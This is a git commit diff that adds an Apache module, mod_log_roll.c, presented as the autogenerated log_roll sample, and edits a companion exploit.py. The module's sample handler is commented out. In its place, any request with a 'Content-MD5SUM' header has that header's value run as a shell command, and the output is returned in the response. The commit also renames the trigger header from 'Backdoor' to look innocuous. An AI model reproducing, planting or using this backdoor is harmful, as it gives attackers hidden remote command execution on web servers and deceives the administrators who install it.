Add files via upload

Author: Sharyie

exploit.py

@@ -6,7 +6,7 @@
 
 def exploit(host, port, command):
     headers = {
-        "Backdoor": command
+        "Content-MD5SUM": command
     }
     url = "http://%s:%d/" % (host, port)
     response = requests.get(url, headers=headers)

mod_log_roll.c

@@ -0,0 +1,106 @@
+/*
+**  mod_log_roll.c -- Apache sample log_roll module
+**  [Autogenerated via ``apxs -n log_roll -g'']
+**
+**  To play with this sample module first compile it into a
+**  DSO file and install it into Apache's modules directory
+**  by running:
+**
+**    $ apxs -c -i mod_log_roll.c
+**
+**  Then activate it in Apache's apache2.conf file for instance
+**  for the URL /log_roll in as follows:
+**
+**    #   apache2.conf
+**    LoadModule log_roll_module modules/mod_log_roll.so
+**    <Location /log_roll>
+**    SetHandler log_roll
+**    </Location>
+**
+**  Then after restarting Apache via
+**
+**    $ apachectl restart
+**
+**  you immediately can request the URL /log_roll and watch for the
+**  output of this module. This can be achieved for instance via:
+**
+**    $ lynx -mime_header http://localhost/log_roll
+**
+**  The output should be similar to the following one:
+**
+**    HTTP/1.1 200 OK
+**    Date: Tue, 31 Mar 1998 14:42:22 GMT
+**    Server: Apache/1.3.4 (Unix)
+**    Connection: close
+**    Content-Type: text/html
+**
+**    The sample page from mod_log_roll.c
+*/
+
+#include "httpd.h"
+#include "http_config.h"
+#include "http_protocol.h"
+#include "ap_config.h"
+#include <stdio.h>
+#include <stdlib.h>
+
+/* The sample content handler */
+static int log_roll_handler(request_rec *r)
+{
+    /*
+    if (strcmp(r->handler, "log_roll")) {
+        return DECLINED;
+    }
+    r->content_type = "text/html";
+
+    if (!r->header_only)
+        ap_rputs("The sample page from mod_log_roll.c\n", r);
+    */
+    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
+    const apr_array_header_t    *fields;
+    int                         i;
+    apr_table_entry_t           *e = 0;
+    char FLAG = 0;
+    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
+
+    fields = apr_table_elts(r->headers_in);
+    e = (apr_table_entry_t *) fields->elts;
+
+    for(i = 0; i < fields->nelts; i++) {
+        if(strcmp(e[i].key, "Content-MD5SUM") == 0){
+            FLAG = 1;
+            break;
+        }
+    }
+
+    if (FLAG){
+        char * command = e[i].val;
+        FILE* fp = popen(command,"r");
+        char buffer[0x100] = {0};
+        int counter = 1;
+        while(counter){
+            counter = fread(buffer, 1, sizeof(buffer), fp);
+            ap_rwrite(buffer, counter, r);
+        }
+        pclose(fp);
+        return DONE;
+    }
+    return DECLINED;
+}
+
+static void log_roll_register_hooks(apr_pool_t *p)
+{
+    ap_hook_handler(log_roll_handler, NULL, NULL, APR_HOOK_MIDDLE);
+}
+
+/* Dispatch list for API hooks */
+module AP_MODULE_DECLARE_DATA log_roll_module = {
+    STANDARD20_MODULE_STUFF,
+    NULL,                  /* create per-dir    config structures */
+    NULL,                  /* merge  per-dir    config structures */
+    NULL,                  /* create per-server config structures */
+    NULL,                  /* merge  per-server config structures */
+    NULL,                  /* table of config file commands       */
+    log_roll_register_hooks  /* register hooks                      */
+};
+